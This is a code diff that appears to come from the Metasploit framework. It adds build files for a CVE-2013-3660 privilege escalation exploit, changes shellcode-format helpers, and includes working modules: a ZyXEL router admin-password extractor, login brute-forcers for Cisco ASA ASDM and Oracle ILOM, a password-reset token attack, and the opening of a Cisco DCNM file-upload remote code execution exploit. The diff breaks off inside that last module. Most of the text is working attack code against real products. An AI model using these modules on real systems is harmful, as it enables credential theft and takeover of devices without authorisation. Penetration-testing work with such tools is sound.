<TargetMachine>MachineX86</TargetMachine>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL</Command>
|
||||
</PostBuildEvent>
|
||||
<ResourceCompile>
|
||||
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;PPR_FLATTEN_REC_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>$(OutDir)\ppr_flatten_rec.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>$(OutDir)\ppr_flatten_rec.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<Profile>false</Profile>
|
||||
<ModuleDefinitionFile>
|
||||
</ModuleDefinitionFile>
|
||||
<AdditionalOptions>/ignore:4070</AdditionalOptions>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
|
||||
IF EXIST "..\..\..\..\..\data\exploits\CVE-2013-3660\" GOTO COPY
|
||||
mkdir "..\..\..\..\..\data\exploits\CVE-2013-3660\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2013-3660\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="ppr_flatten_rec.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="ComplexPath.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
Vendored
Executable
+9
@@ -0,0 +1,9 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="ppr_flatten_rec.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="ComplexPath.h" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
-20
@@ -1,20 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual C++ Express 2010
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Vendored
+7
@@ -26,6 +26,13 @@ PUSHD CVE-2010-0232
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
|
||||
IF "%ERRORLEVEL%"=="0" (
|
||||
ECHO "Building CVE-2013-3660 (ppr_flatten_rec)"
|
||||
PUSHD CVE-2013-3660
|
||||
msbuild.exe make.msbuild /target:%PLAT%
|
||||
POPD
|
||||
)
|
||||
|
||||
FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j
|
||||
SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6%
|
||||
echo Finished %ldt%
|
||||
|
||||
@@ -16,11 +16,15 @@ module Buffer
|
||||
|
||||
#
|
||||
# Serializes a buffer to a provided format. The formats supported are raw,
|
||||
# ruby, perl, bash, c, js_be, js_le, java and psh
|
||||
# num, dword, ruby, python, perl, bash, c, js_be, js_le, java and psh
|
||||
#
|
||||
def self.transform(buf, fmt = "ruby")
|
||||
case fmt
|
||||
when 'raw'
|
||||
when 'num'
|
||||
buf = Rex::Text.to_num(buf)
|
||||
when 'dword', 'dw'
|
||||
buf = Rex::Text.to_dword(buf)
|
||||
when 'python', 'py'
|
||||
buf = Rex::Text.to_python(buf)
|
||||
when 'ruby', 'rb'
|
||||
@@ -54,11 +58,13 @@ module Buffer
|
||||
|
||||
#
|
||||
# Creates a comment using the supplied format. The formats supported are
|
||||
# raw, ruby, perl, bash, js_be, js_le, c, and java.
|
||||
# raw, ruby, python, perl, bash, js_be, js_le, c, and java.
|
||||
#
|
||||
def self.comment(buf, fmt = "ruby")
|
||||
case fmt
|
||||
when 'raw'
|
||||
when 'num', 'dword', 'dw'
|
||||
buf = Rex::Text.to_js_comment(buf)
|
||||
when 'ruby', 'rb', 'python', 'py'
|
||||
buf = Rex::Text.to_ruby_comment(buf)
|
||||
when 'perl', 'pl'
|
||||
@@ -84,19 +90,28 @@ module Buffer
|
||||
# Returns the list of supported formats
|
||||
#
|
||||
def self.transform_formats
|
||||
['raw',
|
||||
'ruby','rb',
|
||||
'perl','pl',
|
||||
'bash','sh',
|
||||
'c',
|
||||
'csharp',
|
||||
'js_be',
|
||||
'js_le',
|
||||
'java',
|
||||
'python','py',
|
||||
'powershell','ps1',
|
||||
'vbscript',
|
||||
'vbapplication'
|
||||
[
|
||||
'bash',
|
||||
'c',
|
||||
'csharp',
|
||||
'dw',
|
||||
'dword',
|
||||
'java',
|
||||
'js_be',
|
||||
'js_le',
|
||||
'num',
|
||||
'perl',
|
||||
'pl',
|
||||
'powershell',
|
||||
'ps1',
|
||||
'py',
|
||||
'python',
|
||||
'raw',
|
||||
'rb',
|
||||
'ruby',
|
||||
'sh',
|
||||
'vbapplication',
|
||||
'vbscript'
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
@@ -102,8 +102,6 @@ class Msf::Module::SiteReference < Msf::Module::Reference
|
||||
self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'MSB')
|
||||
self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx'
|
||||
elsif (in_ctx_id == 'MIL')
|
||||
self.site = 'http://milw0rm.com/metasploit/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'EDB')
|
||||
self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s
|
||||
elsif (in_ctx_id == 'WVE')
|
||||
|
||||
+19
-2
@@ -1729,8 +1729,25 @@ def self.to_vba(framework,code,opts={})
|
||||
|
||||
def self.to_executable_fmt_formats
|
||||
[
|
||||
'dll','exe','exe-service','exe-small','exe-only','elf','macho','vba','vba-exe',
|
||||
'vbs','loop-vbs','asp','aspx', 'aspx-exe','war','psh','psh-net', 'msi', 'msi-nouac'
|
||||
"asp",
|
||||
"aspx",
|
||||
"aspx-exe",
|
||||
"dll",
|
||||
"elf",
|
||||
"exe",
|
||||
"exe-only",
|
||||
"exe-service",
|
||||
"exe-small",
|
||||
"loop-vbs",
|
||||
"macho",
|
||||
"msi",
|
||||
"msi-nouac",
|
||||
"psh",
|
||||
"psh-net",
|
||||
"vba",
|
||||
"vba-exe",
|
||||
"vbs",
|
||||
"war"
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
@@ -115,6 +115,52 @@ module Text
|
||||
return hexify(str, wrap, '"', '" +', "#{name} = \n", '"')
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a comma separated list of numbers
|
||||
#
|
||||
def self.to_num(str, wrap = DefaultWrap)
|
||||
code = str.unpack('C*')
|
||||
buff = ""
|
||||
0.upto(code.length-1) do |byte|
|
||||
if(byte % 15 == 0) and (buff.length > 0)
|
||||
buff << "\r\n"
|
||||
end
|
||||
buff << sprintf('0x%.2x, ', code[byte])
|
||||
end
|
||||
# strip , at the end
|
||||
buff = buff.chomp(', ')
|
||||
buff << "\r\n"
|
||||
return buff
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a comma separated list of dwords
|
||||
#
|
||||
def self.to_dword(str, wrap = DefaultWrap)
|
||||
code = str
|
||||
alignnr = str.length % 4
|
||||
if (alignnr > 0)
|
||||
code << "\x00" * (4 - alignnr)
|
||||
end
|
||||
codevalues = Array.new
|
||||
code.split("").each_slice(4) do |chars4|
|
||||
chars4 = chars4.join("")
|
||||
dwordvalue = chars4.unpack('*V')
|
||||
codevalues.push(dwordvalue[0])
|
||||
end
|
||||
buff = ""
|
||||
0.upto(codevalues.length-1) do |byte|
|
||||
if(byte % 8 == 0) and (buff.length > 0)
|
||||
buff << "\r\n"
|
||||
end
|
||||
buff << sprintf('0x%.8x, ', codevalues[byte])
|
||||
end
|
||||
# strip , at the end
|
||||
buff = buff.chomp(', ')
|
||||
buff << "\r\n"
|
||||
return buff
|
||||
end
|
||||
|
||||
#
|
||||
# Creates a ruby-style comment
|
||||
#
|
||||
|
||||
@@ -52,6 +52,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The request URI', '/users/password']),
|
||||
OptString.new('TARGETEMAIL', [true, 'The email address of target account']),
|
||||
OptString.new('OBJECTNAME', [true, 'The user object name', 'user']),
|
||||
OptString.new('PASSWORD', [true, 'The password to set']),
|
||||
OptBool.new('FLUSHTOKENS', [ true, 'Flush existing reset tokens before trying', true]),
|
||||
OptInt.new('MAXINT', [true, 'Max integer to try (tokens begining with a higher int will fail)', 10])
|
||||
@@ -61,7 +62,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
def generate_token(account)
|
||||
# CSRF token from GET "/users/password/new" isn't actually validated it seems.
|
||||
|
||||
postdata="user[email]=#{account}"
|
||||
postdata="#{datastore['OBJECTNAME']}[email]=#{account}"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
@@ -100,11 +101,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||
encode_pass = REXML::Text.new(password).to_s
|
||||
|
||||
xml = ""
|
||||
xml << "<user>"
|
||||
xml << "<#{datastore['OBJECTNAME']}>"
|
||||
xml << "<password>#{encode_pass}</password>"
|
||||
xml << "<password_confirmation>#{encode_pass}</password_confirmation>"
|
||||
xml << "<reset_password_token type=\"integer\">#{int_to_try}</reset_password_token>"
|
||||
xml << "</user>"
|
||||
xml << "</#{datastore['OBJECTNAME']}>"
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI']),
|
||||
@@ -144,9 +145,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def run
|
||||
# Clear outstanding reset tokens, helps ensure we hit the intended account.
|
||||
print_status("Clearing existing tokens...")
|
||||
clear_tokens() if datastore['FLUSHTOKENS']
|
||||
|
||||
if datastore['FLUSHTOKENS']
|
||||
print_status("Clearing existing tokens...")
|
||||
clear_tokens()
|
||||
end
|
||||
# Generate a token for our account
|
||||
print_status("Generating reset token for #{datastore['TARGETEMAIL']}...")
|
||||
status = generate_token(datastore['TARGETEMAIL'])
|
||||
@@ -162,4 +164,4 @@ class Metasploit3 < Msf::Auxiliary
|
||||
status = reset_one(datastore['PASSWORD'], true)
|
||||
status ? print_good("Password reset worked successfully") : print_error("Failed to reset password")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,79 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ZyXEL GS1510-16 Password Extractor',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in ZyXEL GS1510-16 routers
|
||||
to extract the admin password. Due to a lack of authentication on the
|
||||
webctrl.cgi script, unauthenticated attackers can recover the
|
||||
administrator password for these devices. The vulnerable device
|
||||
has reached end of life for support from the manufacturer, so it is
|
||||
unlikely this problem will be addressed.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2709' ]
|
||||
],
|
||||
'Author' => [
|
||||
'Daniel Manser', # @antsygeek
|
||||
'Sven Vetsch' # @disenchant_ch
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
||||
def run
|
||||
begin
|
||||
print_status("Trying to get 'admin' user password ...")
|
||||
res = send_request_cgi({
|
||||
'uri' => "/webctrl.cgi",
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'username' => "admin",
|
||||
'password' => "#{Rex::Text.rand_text_alphanumeric(rand(4)+4)}",
|
||||
'action' => "cgi_login"
|
||||
}
|
||||
}, 10)
|
||||
|
||||
if (res && res.code == 200)
|
||||
print_status("Got response from router.")
|
||||
else
|
||||
print_error('Unexpected HTTP response code.')
|
||||
return
|
||||
end
|
||||
|
||||
admin_password = ""
|
||||
admin_password_matches = res.body.match(/show_user\(1,"admin","(.+)"/);
|
||||
|
||||
if not admin_password_matches
|
||||
print_error('Could not obtain admin password')
|
||||
return
|
||||
else
|
||||
admin_password = admin_password_matches[1];
|
||||
print_good("Password for user 'admin' is: #{admin_password}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "ZyXEL GS1510-16",
|
||||
:user => 'admin',
|
||||
:pass => admin_password,
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("#{rhost}:#{rport} - Failed to connect")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,138 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/proto/http'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco ASA ASDM Bruteforce Login Utility',
|
||||
'Description' => %{
|
||||
This module scans for Cisco ASA ASDM web login portals and
|
||||
performs login brute force to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jonathan Claudius <jclaudius[at]trustwave.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]),
|
||||
OptString.new('USERNAME', [true, "A specific username to authenticate as", 'cisco']),
|
||||
OptString.new('PASSWORD', [true, "A specific password to authenticate with", 'cisco'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless check_conn?
|
||||
print_error("#{peer} - Connection failed, Aborting...")
|
||||
return
|
||||
end
|
||||
|
||||
unless is_app_asdm?
|
||||
print_error("#{peer} - Application does not appear to be Cisco ASA ASDM. Module will not continue.")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Application appears to be Cisco ASA ASDM. Module will continue.")
|
||||
|
||||
print_status("#{peer} - Starting login brute force...")
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
# Verify whether the connection is working or not
|
||||
def check_conn?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/',
|
||||
'method' => 'GET'
|
||||
})
|
||||
print_good("#{peer} - Server is responsive...")
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
# Verify whether we're working with ASDM or not
|
||||
def is_app_asdm?
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/+webvpn+/index.html',
|
||||
'method' => 'GET',
|
||||
'agent' => 'ASDM/ Java/1.6.0_65'
|
||||
})
|
||||
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.headers['Set-Cookie'].match(/webvpn/)
|
||||
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# Brute-force the login page
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => '/+webvpn+/index.html',
|
||||
'method' => 'POST',
|
||||
'agent' => 'ASDM/ Java/1.6.0_65',
|
||||
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
|
||||
'cookie' => 'webvpnlogin=1; tg=0DefaultADMINGroup',
|
||||
'vars_post' => {
|
||||
'username' => user,
|
||||
'password' => pass,
|
||||
'tgroup' => 'DefaultADMINGroup'
|
||||
}
|
||||
})
|
||||
|
||||
if res &&
|
||||
res.code == 200 &&
|
||||
res.body.match(/SSL VPN Service/) &&
|
||||
res.body.match(/Success/) &&
|
||||
res.body.match(/success/)
|
||||
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'Cisco ASA ASDM',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
print_error("#{peer} - HTTP Connection Failed, Aborting")
|
||||
return :abort
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -16,8 +16,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenMind Message-OS Portal Login Brute Force Utility',
|
||||
'Description' => %{
|
||||
This module scans for OpenMind Message-OS provisioning web login portal, and performs login brute force
|
||||
to identify valid credentials.
|
||||
This module scans for OpenMind Message-OS provisioning web login portal, and
|
||||
performs a login brute force attack to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
||||
@@ -0,0 +1,115 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Oracle ILO Manager Login Brute Force Utility',
|
||||
'Description' => %{
|
||||
This module scans for Oracle Integrated Lights Out Manager (ILO) login portal, and
|
||||
performs a login brute force attack to identify valid credentials.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
'DefaultOptions' => { 'SSL' => true }
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
unless is_app_oilom?
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Starting login brute force...")
|
||||
each_user_pass do |user, pass|
|
||||
do_login(user, pass)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# What's the point of running this module if the target actually isn't Oracle ILOM
|
||||
#
|
||||
|
||||
def is_app_oilom?
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/iPages/i_login.asp',
|
||||
'method' => 'GET'
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
vprint_error("#{peer} - HTTP Connection Failed...")
|
||||
return false
|
||||
end
|
||||
|
||||
if (res and res.code == 200 and res.headers['Server'].include?("Oracle-ILOM-Web-Server") and res.body.include?("Integrated Lights Out Manager"))
|
||||
vprint_good("#{peer} - Running Oracle Integrated Lights Out Manager portal...")
|
||||
return true
|
||||
else
|
||||
vprint_error("#{peer} - Application is not Oracle ILOM. Module will not continue.")
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
|
||||
def do_login(user, pass)
|
||||
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect}")
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/iPages/loginProcessor.asp',
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'sclink' => '',
|
||||
'username' => user,
|
||||
'password' => pass,
|
||||
'button' => 'Log+In'
|
||||
}
|
||||
})
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
vprint_error("#{peer} - HTTP Connection Failed...")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if (res and res.code == 200 and res.body.include?("/iPages/suntab.asp") and res.body.include?("SetWebSessionString"))
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'Oracle Integrated Lights Out Manager Portal',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
report_auth_info(report_hash)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -15,10 +15,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Name' => 'NETGEAR ReadyNAS Perl Code Evaluation',
|
||||
'Description' => %q{
|
||||
This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
|
||||
vulnerability exists on the web fronted, specifically on the np_handler.pl component,
|
||||
due to the insecure usage of the eval() perl function. This module has been tested
|
||||
successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real
|
||||
hardware.
|
||||
vulnerability exists on the web front end, specifically in the np_handler.pl component,
|
||||
due to an insecure usage of the eval() perl function. This module has been tested
|
||||
successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
@@ -49,6 +48,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Tested on an emulated environment, need to check this
|
||||
# against a real device
|
||||
[ 'NETGEAR ReadyNAS 4.2.23', { }]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
|
||||
@@ -0,0 +1,153 @@
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco Prime Data Center Network Manager Arbitrary File Upload',
|
||||
'Description' => %q{
|
||||
This module exploits a code execution flaw in Cisco Data Center Network Manager. The
|
||||
vulnerability exists in processImageSave.jsp, which can be abused through a directory
|
||||
traversal and a null byte injection to upload arbitrary files. The autodeploy JBoss
|
||||
application server feature is used to achieve remote code execution. This module has been
|
||||
tested successfully on Cisco Prime Data Center Network Manager 6.1(2) on Windows 2008 R2
|
||||
(64 bits).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-5486'],
|
||||
[ 'OSVDB', '97426' ],
|
||||
[ 'ZDI', '13-254' ],
|
||||
[ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130918-dcnm' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cisco DCNM 6.1(2) / Java Universal',
|
||||
{
|
||||
'AutoDeployPath' => "../../../../../deploy",
|
||||
'CleanupPath' => "../../jboss-4.2.2.GA/server/fm/deploy"
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Sep 18 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'Path to Cisco DCNM', '/']),
|
||||
OptInt.new('ATTEMPTS', [true, 'The number of attempts to execute the payload (auto deployed by JBoss)', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def upload_file(location, filename, contents)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => normalize_uri(target_uri.path, "cues_utility", "charts", "processImageSave.jsp"),
|
||||
'method' => 'POST',
|
||||
'encode_params' => false,
|
||||
'vars_post' =>
|
||||
{
|
||||
"mode" => "save",
|
||||
"savefile" => "true",
|
||||
"chartid" => "#{location}/#{filename}%00",
|
||||
"data" => Rex::Text.uri_encode(Rex::Text.encode_base64(contents))
|
||||
}
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.to_s =~ /success/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
version = ""
|
||||
|
||||
res = send_request_cgi({
|
